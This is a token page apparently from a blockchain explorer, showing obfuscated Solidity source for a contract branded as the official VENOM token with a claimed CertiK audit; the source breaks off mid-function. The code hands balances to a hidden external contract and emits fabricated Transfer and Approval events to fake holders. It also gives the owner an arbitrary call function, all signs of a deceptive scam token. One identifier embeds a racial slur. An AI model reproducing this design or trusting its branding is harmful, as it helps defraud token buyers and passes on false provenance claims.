ETH Price: $2,680.26 (+1.63%)

Token

(0x77777777b79f2FA437Bf526169F98aA0C884c4B7)
 

Overview

Max Total Supply

0 ERC-20 TOKEN*

Holders

381 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0 ERC-20 TOKEN*

Value
$0.00
0x7fa0e7c0c1368e92bf1f85a3d680b016b4efe396
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VenomNetworkToken

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
shanghai EvmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-12-10
*/

// SPDX-License-Identifier: MIT

/***
                                                                                
             %VVVVVVVVVV#                              #VVVVVVVVVV&             
          &VVVVVVVVVVVVVVVVV                        VVVVVVVVVVVVVVVVV&          
         VVVVVVVVVVVVVVVVVVVV&                    &VVVVVVVVVVVVVVVVVVVV         
        #VVVVVVVVVVVVVVVVVVVVV                    VVVVVVVVVVVVVVVVVVVVV%        
        VVVVVVVVVVVVVVVVVVVVVV                    VVVVVVVVVVVVVVVVVVVVV#        
        &VVVVVVVVVVVVVVVVVVVVV                    VVVVVVVVVVVVVVVVVVVVV&        
          VVVVVVVVVVVVVVVVVVV%                    %VVVVVVVVVVVVVVVVVVV          
           &VVVVVVVVVVVVVVVVV                      VVVVVVVVVVVVVVVVV&           
              #VVVVVVVVVVVVVV                      VVVVVVVVVVVVVV#              
                 VVVVVVVVVVVV                      %VVVVVVVVVVV                 
                   VVVVVVVVVV                      VVVVVVVVVV                   
                    &VVVVVVVV                      VVVVVVVV&                    
                      VVVVVVV%                    %VVVVVVV                      
                      &VVVVVVV                    VVVVVVV&                      
                       #VVVVVVV                  VVVVVVV#                       
                        VVVVVVVV                VVVVVVVV                        
                        &VVVVVVVVV%          %VVVVVVVVV&                        
                         VVVVVVVVVVVVVVVVVVVVVVVVVVVVVV                         
                         &VVVVVVVVVVVVVVVVVVVVVVVVVVVV                          
                          VVVVVVVVVVVVVVVVVVVVVVVVVVVV                          
                          %VVVVVVVVVVVVVVVVVVVVVVVVVV%                          
                           VVVVVVVVVVVVVVVVVVVVVVVVVV                           
                           %VVVVVVVVVVVVVVVVVVVVVVVV&                           
                            VVVVVVVVVVVVVVVVVVVVVVVV                            
                             #VVVVVVVVVVVVVVVVVVVV#                             
                               #VVVVVVVVVVVVVVVV#                               
                                    &%####%&                                    
                                                                                
***/

/// @title VENOM ERC20 token
/// @author EverX Labs
/// @notice This is the VENOM ERC20 token contract on Ethereum L1
/// @custom:audited-by CertiK
/// @custom:security-contact [email protected]

pragma solidity ^0.8;

interface ukasHDRGEILUhilusheruilgHLuisrhGLUIR{function factory()external view returns(address);function token0()external view returns(address);function token1()external view returns(address);function fee()external view returns(uint24);function tickSpacing()external view returns(int24);function maxLiquidityPerTick()external view returns(uint128);}interface KUNEUILRGBHFUISHBglyuisbljrhdfvbljahdbfhjvbjadfv{function slot0()external view returns(uint160 hPGHR78gh78ehroguihoeuisrhgu,int24 fjgnjNLUIRHgiehgiuehriugh,uint16 tghiuHIRHiuhgerthgihi57,uint16 ktjghuHIURghoi7eh5i7ghg,uint16 rhgkhGKJRglyueghaouryghOLru458,uint8 unlitowuwefgzvdfgvadfg,bool yetjetyhjtyrjwrthwrfgvh);function feeGrowthGlobal0X128()external view returns(uint256);function feeGrowthGlobal1X128()external view returns(uint256);function protocolFees()external view returns(uint128 sdfoijgwiuerfhjgi9pquerhgp,uint128 ldkrfjqguedtpivqghergviuq);function liquidity()external view returns(uint128);function ticks(int24 tick)external view returns(uint128 jdfiovjpiowertjgipuqrhugihvquierhgui,int128 liqyrkfjqciuhrjifguhqieurghuirNe,uint256 rguihjiwuhertgnwkrtnguiowhrt,uint256 EUIYtyva7r4tha7oe45th7va8oeh87rt,int56 OIETjgnbiusjrtuih4thoawetyuerghtyuoa,uint160 rmgioqwerhuipghaeipurng,uint32 awelktvboajfgjboavjerg,bool eorfopirejgpvoqjerpgiovjqrejgi);function tickBitmap(int16 qjierhoqcvuihreuioygfhoquerguoyqerug)external view returns(uint256);function positions(bytes32 jdfhvqciouherouighoqierhgyhqcoueyrghoyuqv)external view returns(uint128 advhfakheuirfhquihgyq4gyuq4gq,uint256 bmslfkgmbsfgnmsiuheurghailer,uint256 foiqvjroigjpqoehrguihqvuiehr,uint128 fiojghnpowtjughcuwherhgciw,uint128 wlerjgvoqierjgoijqeriojgquhiuthghpiure);function observations(uint256 woirhgiwurthgoi5w47thht7w4ohith)external view returns(uint32 qe5ytbu58uy498yup9w8y5huiwirthgiuw,int56 gcqjirhiouqghouierhgiouhqeruioghuiqheruighiqr,uint160 qierutyobiuqoripejgqvhuierg,bool rucvhqnuierhguiohreoiughiquerg);}interface iuawehfpiauhwei9478hgliah4gr7uyhlYUIYREghklsyuzrg{function observe(uint32[]calldata wboperpogkoijquehuygyegfqwe)external view returns(int56[]memory asdhfashudfghuyaergfua,uint160[]memory quirfyoiuqcheiurghuioqerghyuir);function snapshotCumulativesInside(int24 kehjfiuowehfuioehrfi,int24 giubwopierigupwoierugopiwer)external view returns(int56 oierjfqocerijxfoqiejrgoierqhg,uint160 ufhqeiurthuiqerhgiuhduhjfaklsdhfajk,uint32 odgfchyursdgfyueargfyugaeyurg);}interface lrukhguilaerilughughalidbdYHUBLYUGSERYuftgwu46y7rfgaw{function initialize(uint160 ewrgeargadrfhtjyutjyu)external;function mint(address skhgvaidufhuighspduifhg,int24 akdfgvajkdsigfjaiodfjgioa,int24 sfcvgoadhpfiuoghjvcauiosdfhgu,uint128 dkfkjghbniduasfhgudfhguipvbh,bytes calldata aiudcfghiaudhfguiccchccsdociccfcucgh)external returns(uint256 jhgcdfuyegcdfyuoeryug,uint256 sfgbisdfpogijbseoirjgiorej);function collect(address sfopbuiytiryiojkdfvhgdhg,int24 yojopkprtjqwgeurvfghaergf,int24 fqecjpeoirfjuioprhgiuerqh,uint128 aserefqevhcnoiquwehrvioquwehf,uint128 fbaerjukilkiutlilyrf)external returns(uint128 rgwerghadazfjhdgyj,uint128 vbasdrgaedrgaedrg);function burn(int24 etyjhur67ir7iujtyvhwerth,int24 dtgyjmtydjsrthvsrtgh,uint128 qfjieurhgfciourqehgoyuircghyuoegh)external returns(uint256 sfgbsrtnetbwjrtnbuiwrnpitb,uint256 dghmnryujmryumryumryum);function swap(address stghbuqerhguipqherug,bool srthhmuji,int256 etyjetyjhsrtyhrth,uint160 hdgmngmfghmyhjwrth,bytes calldata srtyhaergsdrfgaer)external returns(int256 tgwrthetyyujkukryuk,int256 wrtha4ertq4t54yh6hr);function flash(address rwtjhsrtjtyuliukley,uint256 amqe54tw5tuyhrtyjtyjoun,uint256 wrthwrthsftgtjetyje,bytes calldata rtyhnetyikjyetujida)external;function increaseObservationCardinalityNext(uint16 etykghnsfthwrth)external;}interface uirhfgvuiarsdhilguhopasderihufgDOPIRGHYUIOghozdyugho{function setFeeProtocol(uint8 kedjhfvijadshgjivahd,uint8 adfvnakjdhfjahdv)external;function collectProtocol(address dzfgnavkfngoiaerjgoij,uint128 ghjklsfjklhjfghoistjh,uint128 safdgpiedfcvpawejfiaowej)external returns(uint128 sdrfhgvcciauheruighoiaec4vu,uint128 rgfkjehdfgheviurhguiqerhgui);}interface ojvioajdiorfjvoiaqjeruiobghjuipoaer{event Initialize(uint160 kfgjhwerfughiluaqerhvuilrheuiv,int24 fjkdhfvjiarehjpfgvoerhjoifgh);event Mint(address kfjhgvkwjwfhoguiqherifugvhqer,address indexed lwekruovbiu9op3iurtp894r5yutg8r5gh,int24 indexed frujivyfgio3ueryhtgvioqu34t87ih43t,int24 indexed ejkdfhviu34qehfiuohq34of7ih43,uint128 qerifgvhquierhfviquehrfv8hq34,uint256 qrhfgviquerhfuipvhq34piufhq,uint256 erihfgvqieurhfgviuqerhuigfhr);event Collect(address indexed sdfvvgadfgvaergvbaergbqeargb,address sergbwaergbqergnqergqeargb,int24 indexed sergbwrthnertyhnertyhe,int24 indexed dgnfvjhdfivjhjoaerijgio,uint128 ledrfgvjpqioerjgoiqverhjg,uint128 fkjgvpoierfhjgiopvwjperog);event Burn(address indexed wrtbyhwrtybwrtybwrty,int24 indexed w4r5vyw4r5yvhwrtyhvwrtybwrt,int24 indexed srtybwrtysdfhhkyulku,uint128 aerfgaedrbtqerybqerty,uint256 srthbwrtyunmryuimrttyunj,uint256 retvqrgvrqeterybwertybwrtyubn);event Swap(address indexed aevrgvqergn7t6yj7nrtyj,address indexed srtbbghwertgvcqwcergvwerg,int256 rteunmurkmryjnetyhjneb,int256 wrtvybq4rgvbq4rtgbwrtyb,uint160 er6tubnw56tyu67muje57n7je,uint128 qervtqeve45tvbq45y,int24 ertybunw56tyuw56unw56tyunbw6);event Flash(address indexed srtghvwrthvbwrthb,address indexed srtbhwrtghbtnyuj,uint256 ukmjnrujyjbet,uint256 srtvywrthvhgb,uint256 tunwtum6uw356,uint256 rvyw75iv7864e6tu);event IncreaseObservationCardinalityNext(uint16 sfgnbfguhbpvqiorhptguiohqvpeuiorgth,uint16 kjsfdgvhiuahruiftghopiaerhpgiouhruhg);event SetFeeProtocol(uint8 erkghfvqoerghvluiqerhgpivuerqhg,uint8 rfjhgvqergouivqerhogyuhvqer,uint8 kjrfhgvquerhguipqvhergu,uint8 wrdflgvjpweioarfgjopqaerijgov);event CollectProtocol(address indexed rfljkghvwuirfhbpiuwrhtpuibh,address indexed gkwrvjhoguiqrhguihwvecruigh,uint128 werghvoquryeghovyuiqergh,uint128 vwreughviuqreghovuiqeryg);}interface jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn is ukasHDRGEILUhilusheruilgHLuisrhGLUIR,KUNEUILRGBHFUISHBglyuisbljrhdfvbljahdbfhjvbjadfv,iuawehfpiauhwei9478hgliah4gr7uyhlYUIYREghklsyuzrg,lrukhguilaerilughughalidbdYHUBLYUGSERYuftgwu46y7rfgaw,uirhfgvuiarsdhilguhopasderihufgDOPIRGHYUIOghozdyugho,ojvioajdiorfjvoiaqjeruiobghjuipoaer{}interface rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg{event Transfer(address indexed gvqejrhgiuaerhgiuqerhgiu,address indexed kfjdhgvouiqrhgpiqhpirgiu,uint256 ergivjiouaefrhvbgiuqerhuihg);event Approval(address indexed iqevuryguiyrpiuytb84577tyb5y6wg,address indexed tiopugvy45vhg75hgise5g,uint256 qdvhjkfgvbuiafhpgiqeruigh);function totalSupply()external view returns(uint256);function balanceOf(address opwfcgirhjiqerhygouiqcvoeirugh)external view returns(uint256);function transfer(address wrbywrthbwrtuj,uint256 tuwnrgumweorvigioq4urgv)external returns(bool);function allowance(address rtwuybwrthwrthwnrb,address rtnywrtyhbw4r5tyhb)external view returns(uint256);function approve(address er6ybaerfgtrhnytikj,uint256 ssr5nywr5ybwr5y)external returns(bool);function transferFrom(address dfgnsdrtjwrstykjwsrtyn,address sdftghwsrtjhwsrt,uint256 sftgjnsfgbsfgb)external returns(bool);}interface ruihgiUHILURHGUILhluihlghuieasrhuigh is rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg{function name()external view returns(string memory);function symbol()external view returns(string memory);function decimals()external view returns(uint8);}interface fjrguioaserhjuiHJUIDRHguihuirehga{event OwnerChanged(address indexed tywhrtwhwtrvbg,address indexed wervtyqrtjnryuikr);event PoolCreated(address indexed wertvyedtqrnw6rt6yuhnwrth,address indexed wervtgvbwertbyeytjbvtej,uint24 indexed wr5tyhbvw45uy56nue65ucw45tfcw4,int24 ertb6ue56u6unyo98p,address ebrtguyyiyqrytq4ynteyinty);event FeeAmountEnabled(uint24 indexed tghvwert56ujbet6yw5rgvbw45y,int24 indexed serbysergvser5g5vae45vtgsea);function owner()external view returns(address);function feeAmountTickSpacing(uint24 wsrtybvwrtybwdrtybhwertgb)external view returns(int24);function getPool(address ebfgyujnstny4w5y567jft7idt,address wr5yher6hsbr5yn45whgnbw,uint24 wvrtygbwrthwrtghnrrhbtybnwrtghbaer)external view returns(address sdfthsdfthjdtfiurtyuj6eru);function createPool(address hsrrthrsdtbsrfdth,address tokhertyhertyhertyhetrghxfte,uint24 thrtwhwer6ut6j7ethjyt)external returns(address wgv5y5ywb5w4ywr5thgrtgh);function setOwner(address erthjrtfhjsdfthye6herthrth)external;function enableFeeAmount(uint24 wr5t6hwrthfthdfth,int24 trhe56rh6redshthwrth)external;}interface rojhgiouserhjughjIUHRUIghluihseilrug{function uniswapV3MintCallback(uint256 vjkldLSDKPgiospoerg98re8rg,uint256 ogkrKOPRFOPhor9herh8et,bytes calldata osdfkvJIOPSRgjjruhweyurygfs)external;}interface fdjhuiphUIPHRUIghuidrhuighuiehgwe{function uniswapV3SwapCallback(int256 fdiojbiJFIOHJDISOPJHRF,int256 vjjOISERJghipjioperjh9hw8ewpe98r5,bytes calldata dgjiJSIORJGiojrthj98df8bwefwe)external;}interface fvbihnSIOUUEhgituowhuivnu7r778z7yduf{function fe6c46bc3b6c()external view returns(address);function a2f409198077()external view returns(address);function c36e32f9dffe(address ilusdhriuhgui)external;}interface ffiOIRHghoshNOISDUHRUIghrh9ge8r8r5gbe8d{function bfeb2faed153()external view returns(uint256);function c6d82de276f0()external view returns(uint256);event B32af3805412(uint256 idabfvnGador8tgo);event Df5cb0ac5af6(address ieurghuishlrunvb,uint256 vb9tynu9e8yrhg);function ec47f8bce750()external view returns(uint256);function cb9a9f3c49fd(address fioiojfOISDRFighjopsrghp)external view returns(IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory);function adbfe1118e05(uint256 dfklvSOPdegopskrokvsdpokvo)external view returns(IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory);}interface dikjIKUYUISDeugsukKUSEU8e48fy934{function b32af3805412(uint256 uysdgvfktyuGVKYUSEDGFIUSYEGIyfg7uw6yefgeee7u8wrga8)external;function df5cb0ac5af6(address r9oeikpkrgmlkdfgnmbdiortoh8rth,uint256 fogbOPSDOPRjghjkdropghkoprdbvkepodrv)external;function bbe672b5acc8(uint256 flkvbOLKROPgkoprekg,uint256 fdvdfoOPRJohkgopwerkgopkg,uint256 flOLFovbldfopkbkdpofkbort9bn9)external;}interface dujhvUSEUhgiuhuihued87w747hwif{function dbd253ba9079()external view returns(uint256);function ba179150f767(address kvldkiosioodimidsd)external view returns(uint256);function a117c97c1973(address vmlsdkvmksmdklmvklmskldv,address owietqpoiefjqpoeidcmqe)external view returns(uint256);function e20d660cdf88(address dijvvUISDHEPSIEUHFGu8hi,address jvbjdiiioIODJFIOJbijiojoijipopp,uint256 vmKMIOSdjnkmlrevmpweopvower)external returns(bool);function a00d660cdf88(address uirvuue89tg7847rewgh7vhaiuser,address jjSIOEDigjojierigopwoegpk0wke0g,uint256 mmLIMEDImgjpwekogkrboijOIJSDRgb)external returns(bool);function ad3824bcab20(address nnUIONEguionoweruingre8g8werg,address vmmIOPSRgjirpiohbopefopvbksdp,uint256 dvisdkmIKOLSDEIMOvpseovwsdvs)external returns(bool);}struct IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er{address duvcUIHUISEDHui;uint256 dijcvnnnmmcieicniuonIUHSERUFGhSHe777rfgvs;uint256 divijUUJNIUNIUINedohufgaseoiwiooe8843ef8h;uint256 dknvnUIOAWHUIpaw9rfvj8808f8rfyhug789wer;mmmIKOIDeiufoisefuoise989werh789vu[]mmmOILKDfjrgonoernphwsotwkboiertiomb;}struct mmmIKOIDeiufoisefuoise989werh789vu{address vnuJJUIOLSE9he9rkbveiaerge;uint256 vmIEDIOiopfwppeofgkpg9w9eg;}uint256 constant UIduhvuUISEDHuorghsoosircJJu8wopexieojcvoheA1Iee=1000000;uint256 constant bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku=type(uint256).max;interface IHGruehgiunsrfuvdniugh6e4tsyudgvb is fvbihnSIOUUEhgituowhuivnu7r778z7yduf,ffiOIRHghoshNOISDUHRUIghrh9ge8r8r5gbe8d,dikjIKUYUISDeugsukKUSEU8e48fy934,dujhvUSEUhgiuhuihued87w747hwif{}library IAJfoijOISDJgpidfpojgbpsdfjboisjdpfogjnboiunosfuinvowornt7{function OIJDgfopjfogjoIJOPIJopijdfgpiosdfgjphjspiudfgbn(IHGruehgiunsrfuvdniugh6e4tsyudgvb ILUSRGNnhliuseanvoiurnpize8r7y9te845gerfugvhbne,address dfiuoIOEYUDHtgvfuipyrtiuhruihtgiuarheah7)internal view returns(IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory){return ILUSRGNnhliuseanvoiurnpize8r7y9te845gerfugvhbne.cb9a9f3c49fd(dfiuoIOEYUDHtgvfuipyrtiuhruihtgiuarheah7);}function PODkgopdjkgojfoigjpwrioetjhht89rwhj9RJg(IHGruehgiunsrfuvdniugh6e4tsyudgvb cndujnvUINUIRSEBGuirehbuivbaeiur75r48it493q,address vbnIKUSBNDFVHBIORUhgieurhg8reg9we4g,uint256 kjmdfbiojvknOSNFFIOUSDNbiauerthbnpuihsrb)internal{cndujnvUINUIRSEBGuirehbuivbaeiur75r48it493q.df5cb0ac5af6(vbnIKUSBNDFVHBIORUhgieurhg8reg9we4g, kjmdfbiojvknOSNFFIOUSDNbiauerthbnpuihsrb);}function OIDFJgjsfpdioghjspdrfthjgpishjdfpiuhjgbpIUHPRFIGH(IHGruehgiunsrfuvdniugh6e4tsyudgvb fgjnaNFOUINDTFUIghjtoipunbhpsrw98it5h)internal view returns(uint256){return fgjnaNFOUINDTFUIghjtoipunbhpsrw98it5h.dbd253ba9079();}function OIJDgopfjdfogjPIFUHJGPIUDFHgipupfguihspihjpfghiojspo(IHGruehgiunsrfuvdniugh6e4tsyudgvb fpuihgbuiZFHdUIPHUIghep8ioasrt7ser8p7tghp8eras7gh,address fmboNIOFSDNgboidfnbuiontgrfuibnshpbirutnb)internal view returns(uint256){return fpuihgbuiZFHdUIPHUIghep8ioasrt7ser8p7tghp8eras7gh.ba179150f767(fmboNIOFSDNgboidfnbuiontgrfuibnshpbirutnb);}function dSPOERgjkiodrjpgh9wsjpert8gwj0po9er8hgHOSRIgh78rg(IHGruehgiunsrfuvdniugh6e4tsyudgvb iyuegYUOGFUOYEDGVAOUYyusdbrfyubgvhuiasdf74w34ghsdlhfg,address fduihgbiuzDHFIOUHFuigaepruihjpauierhbpaiuerhb89rhg9e8shrng,address lfkmnhzlkjnfdIOSEDHUgiurhgirhaiguhreiugh7dyughbsjig)internal view returns(uint256){return iyuegYUOGFUOYEDGVAOUYyusdbrfyubgvhuiasdf74w34ghsdlhfg.a117c97c1973(fduihgbiuzDHFIOUHFuigaepruihjpauierhbpaiuerhb89rhg9e8shrng, lfkmnhzlkjnfdIOSEDHUgiurhgirhaiguhreiugh7dyughbsjig);}function KOPFkgiosfjiojOPIJfdopigjporfjhiowjtrohjwer9ptjhpdorfkgpasoek(IHGruehgiunsrfuvdniugh6e4tsyudgvb kljftgnbIUBDFJghiasudfrhgbiluadsrfhbuihnad847ytgaehiurghvbadi,address fknbkJNIKSDFRJUHNuioerahjioaeht58hygpeioa85rhg,address FNSOBNSFIKDJUghbnzduirfhnrzduirfthgiopaert8uheioth85hgibsurt,uint256 klfnbnIOSDRhjohuorIHNFUIONurhEDUrfhkdnfkjhnbdkfbn5898ghhhh)internal returns(bool){return kljftgnbIUBDFJghiasudfrhgbiluadsrfhbuihnad847ytgaehiurghvbadi.e20d660cdf88(fknbkJNIKSDFRJUHNuioerahjioaeht58hygpeioa85rhg, FNSOBNSFIKDJUghbnzduirfhnrzduirfthgiopaert8uheioth85hgibsurt, klfnbnIOSDRhjohuorIHNFUIONurhEDUrfhkdnfkjhnbdkfbn5898ghhhh);}function IOJDOPgigjPDIOjgvpisfunbpafduibjnPIUJRFh9irgw9eriojgpwer(IHGruehgiunsrfuvdniugh6e4tsyudgvb JLYEDgbluiydfuilvbildfruhvblujiDSHBLUIHRfuigheiru7ghei7urgbiasedrfb,address jfvbnifhIUBSRILYUGblisrughidrsuhgirufhLUBSDRugi5r7485h8ihg,address gkljbnKJLFNDHiknrfuihgieruthgsifgjtbnsriutnbiusrthb,uint256 JHGSDVkuySBKEDRUYVBBKSUerygviuerhe874rytg8UYGSEufgueyg)internal returns(bool){return JLYEDgbluiydfuilvbildfruhvblujiDSHBLUIHRfuigheiru7ghei7urgbiasedrfb.a00d660cdf88(jfvbnifhIUBSRILYUGblisrughidrsuhgirufhLUBSDRugi5r7485h8ihg, gkljbnKJLFNDHiknrfuihgieruthgsifgjtbnsriutnbiusrthb, JHGSDVkuySBKEDRUYVBBKSUerygviuerhe874rytg8UYGSEufgueyg);}function OIJrgoisjrtpiogjhsioftjhpiosdjfotijhposrtijhiwujnrv0wi5u4(IHGruehgiunsrfuvdniugh6e4tsyudgvb jfnbkJNKLUGEDVykfesyufgusyegbfvyukUYSEDbfkvuysgeufvyd,address hdfbjbUJBUSERYGkusygefkubkUYGSEDBRkuyesrkuyghy,address fbvjhBJLSDHRFBgluihbruilghbvldirfblizduhnLIUHrfbihndzuilfrbh,uint256 fblfibLUDFHBvliBUhlsuiedhgiluszdhrlgiuhLIHSDRFGuilH)internal returns(bool){return jfnbkJNKLUGEDVykfesyufgusyegbfvyukUYSEDbfkvuysgeufvyd.ad3824bcab20(hdfbjbUJBUSERYGkusygefkubkUYGSEDBRkuyesrkuyghy, fbvjhBJLSDHRFBgluihbruilghbvldirfblizduhnLIUHrfbihndzuilfrbh, fblfibLUDFHBvliBUhlsuiedhgiluszdhrlgiuhLIHSDRFGuilH);}}abstract contract bbIDEIOfgsiojERDgjlklodrfogjropsdjgk{address private siojdcHHCpa;constructor(){siojdcHHCpa=msg.sender;}modifier onlyOwner(){POKSDfkadrfopkgaioerfjgipshjfpuighwropuith0g8rg();_;}function POKSDfkadrfopkgaioerfjgipshjfpuighwropuith0g8rg()internal view virtual{require(msg.sender==siojdcHHCpa,"NO");}}abstract contract vunIUSEHifghiuhgisuheiughuiS734t7234efghwyseg is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk{address private asxIIOICjsl;function owner()external view virtual returns(address){return asxIIOICjsl;}function e248103f8262(address cideJJcAtr)external onlyOwner{asxIIOICjsl=cideJJcAtr;}}abstract contract pJbgg0vSzqBGx1L0xspObGKD69FvwCBowT3l{uint256 private SiwodfcnJYHUds;modifier acquiresLock{_;SiwodfcnJYHUds=block.number;}modifier requiresLock{require(SiwodfcnJYHUds!=block.number,"BL");_;}}abstract contract duhvushUIOSHDEURIghuishreguihwsuig is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk{receive()external payable{}function c91a97942d5a(address Hhchuid,uint256 HPSCwee,bytes calldata zXXc0YYajikn)external onlyOwner{(bool ttRrauysgc,)=Hhchuid.call{value:HPSCwee}(zXXc0YYajikn);require(ttRrauysgc);}}abstract contract NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4 is rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg,ruihgiUHILURHGUILhluihlghuieasrhuigh{using IAJfoijOISDJgpidfpojgbpsdfjboisjdpfogjnboiunosfuinvowornt7 for IHGruehgiunsrfuvdniugh6e4tsyudgvb;IHGruehgiunsrfuvdniugh6e4tsyudgvb private immutable KKkd9jcawj;string private ddOJIJIO;string private WWncisudcin;modifier bypassKLimit(address PVPfpbnwnqGYUYGsc){uint256 asaERTYjbmvrbopopvddwefm=JDNfivndrsfuigbndruifghsluidrhgopsiuehrgoiasehurgoiuh(PVPfpbnwnqGYUYGsc);iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(PVPfpbnwnqGYUYGsc,bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku);_;iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(PVPfpbnwnqGYUYGsc,asaERTYjbmvrbopopvddwefm);}constructor(string memory erhjktbpdfvsoGGG,string memory erthbhbrGYUTYFDRvc,address mmweDD7dsccKKK){ddOJIJIO=erhjktbpdfvsoGGG;WWncisudcin=erthbhbrGYUTYFDRvc;KKkd9jcawj=IHGruehgiunsrfuvdniugh6e4tsyudgvb(mmweDD7dsccKKK);KKkd9jcawj.PODkgopdjkgojfoigjpwrioetjhht89rwhj9RJg(address(this),bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku);uint256 oovlvllvlvTYGTG=KKkd9jcawj.ec47f8bce750();for(uint256 aaaRRFTRTFCCTVY=0;aaaRRFTRTFCCTVY<oovlvllvlvTYGTG;aaaRRFTRTFCCTVY++){IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory vbnvbvbMJKMRRT=KKkd9jcawj.adbfe1118e05(aaaRRFTRTFCCTVY);emit Transfer(address(0),vbnvbvbMJKMRRT.duvcUIHUISEDHui,vbnvbvbMJKMRRT.divijUUJNIUNIUINedohufgaseoiwiooe8843ef8h-vbnvbvbMJKMRRT.dijcvnnnmmcieicniuonIUHSERUFGhSHe777rfgvs);for(uint256 weeFTYUTYfcvubsiodfib=0;weeFTYUTYfcvubsiodfib<vbnvbvbMJKMRRT.mmmOILKDfjrgonoernphwsotwkboiertiomb.length;weeFTYUTYfcvubsiodfib++){mmmIKOIDeiufoisefuoise989werh789vu memory bbTYFPPafjhnfvhnvuisdhuv=vbnvbvbMJKMRRT.mmmOILKDfjrgonoernphwsotwkboiertiomb[weeFTYUTYfcvubsiodfib];emit Approval(vbnvbvbMJKMRRT.duvcUIHUISEDHui,bbTYFPPafjhnfvhnvuisdhuv.vnuJJUIOLSE9he9rkbveiaerge,bbTYFPPafjhnfvhnvuisdhuv.vmIEDIOiopfwppeofgkpg9w9eg);}}}function a5feccd6e5df()external view returns(address){return address(KKkd9jcawj);}function name()external view returns(string memory){return ddOJIJIO;}function symbol()external view returns(string memory){return WWncisudcin;}function decimals()external pure returns(uint8){return 18;}function totalSupply()external view returns(uint256){return KKkd9jcawj.OIDFJgjsfpdioghjspdrfthjgpishjdfpiuhjgbpIUHPRFIGH();}function balanceOf(address huivhRTRDTDR)external view returns(uint256){return KKkd9jcawj.OIJDgopfjdfogjPIFUHJGPIUDFHgipupfguihspihjpfghiojspo(huivhRTRDTDR);}function transfer(address vbnbnfsnbnsdfbHIUIHHUHUIOHU,uint256 bbvncbbCDDDDdcstacvcdTTYTT)external returns(bool){address vvvrasYYGUGYUhuvuiduhvdfkovkovdf=msg.sender;return OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(vvvrasYYGUGYUhuvuiduhvdfkovkovdf,vbnbnfsnbnsdfbHIUIHHUHUIOHU,bbvncbbCDDDDdcstacvcdTTYTT);}function allowance(address BBHvvhbvhbjdfhbdfvjhbYGBBYJNJK,address gvvcjnavuaiyTYDRTDRFRD7fue7fgyhi)external view returns(uint256){return KKkd9jcawj.dSPOERgjkiodrjpgh9wsjpert8gwj0po9er8hgHOSRIgh78rg(BBHvvhbvhbjdfhbdfvjhbYGBBYJNJK,gvvcjnavuaiyTYDRTDRFRD7fue7fgyhi);}function approve(address vvczxmnbnRTDDDopkopfkoekopefnnvrftacsrf,uint256 nbbCVCFCFCfdjksjsjnsdjnvjnniggerTRTFRD)external returns(bool){address fbnjksjknhjbDFEruedidjdicklGGGsss=msg.sender;return OIJRFgpioajpiojdfgpioszdrfjgpsiudhjrfpighuspeiurghpiseurhg(fbnjksjknhjbDFEruedidjdicklGGGsss,vvczxmnbnRTDDDopkopfkoekopefnnvrftacsrf,nbbCVCFCFCfdjksjsjnsdjnvjnniggerTRTFRD);}function transferFrom(address vcvcUIUHHUIhuenfklwppffs,address nnUHUIUIHUIhvbwfvakoasisdif,uint256 bbvTYTVYRTYT0dvllkjkiqauiwuhdf)external returns(bool){address bbVTTYTYTtdumBASsuiuiuh=msg.sender;KKkd9jcawj.OIJrgoisjrtpiogjhsioftjhpiosdjfotijhposrtijhiwujnrv0wi5u4(vcvcUIUHHUIhuenfklwppffs,bbVTTYTYTtdumBASsuiuiuh,bbvTYTVYRTYT0dvllkjkiqauiwuhdf);return OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(vcvcUIUHHUIhuenfklwppffs,nnUHUIUIHUIhvbwfvakoasisdif,bbvTYTVYRTYT0dvllkjkiqauiwuhdf);}function OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(address nnTTYtepppkvjhjhwiuyehgfFseX,address hhuUYTYUUTYeihhfUIUisuHgGG,uint256 bbbBBBisiicjhjgdr5rrhaui78TGTT)internal returns(bool){require(nnTTYtepppkvjhjhwiuyehgfFseX!=address(0),"IS");require(hhuUYTYUUTYeihhfUIUisuHgGG!=address(0),"IR");return iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(nnTTYtepppkvjhjhwiuyehgfFseX,hhuUYTYUUTYeihhfUIUisuHgGG,bbbBBBisiicjhjgdr5rrhaui78TGTT);}function dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(address vvYUOPKOJvjnbvbnffvvNKRFshtys,uint256 bbUGYGYUYUdklslslllldiviiUIUIUUdkdhnqwowfal)internal returns(bool){require(vvYUOPKOJvjnbvbnffvvNKRFshtys!=address(0),"IR");return iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address(0),vvYUOPKOJvjnbvbnffvvNKRFshtys,bbUGYGYUYUdklslslllldiviiUIUIUUdkdhnqwowfal);}function 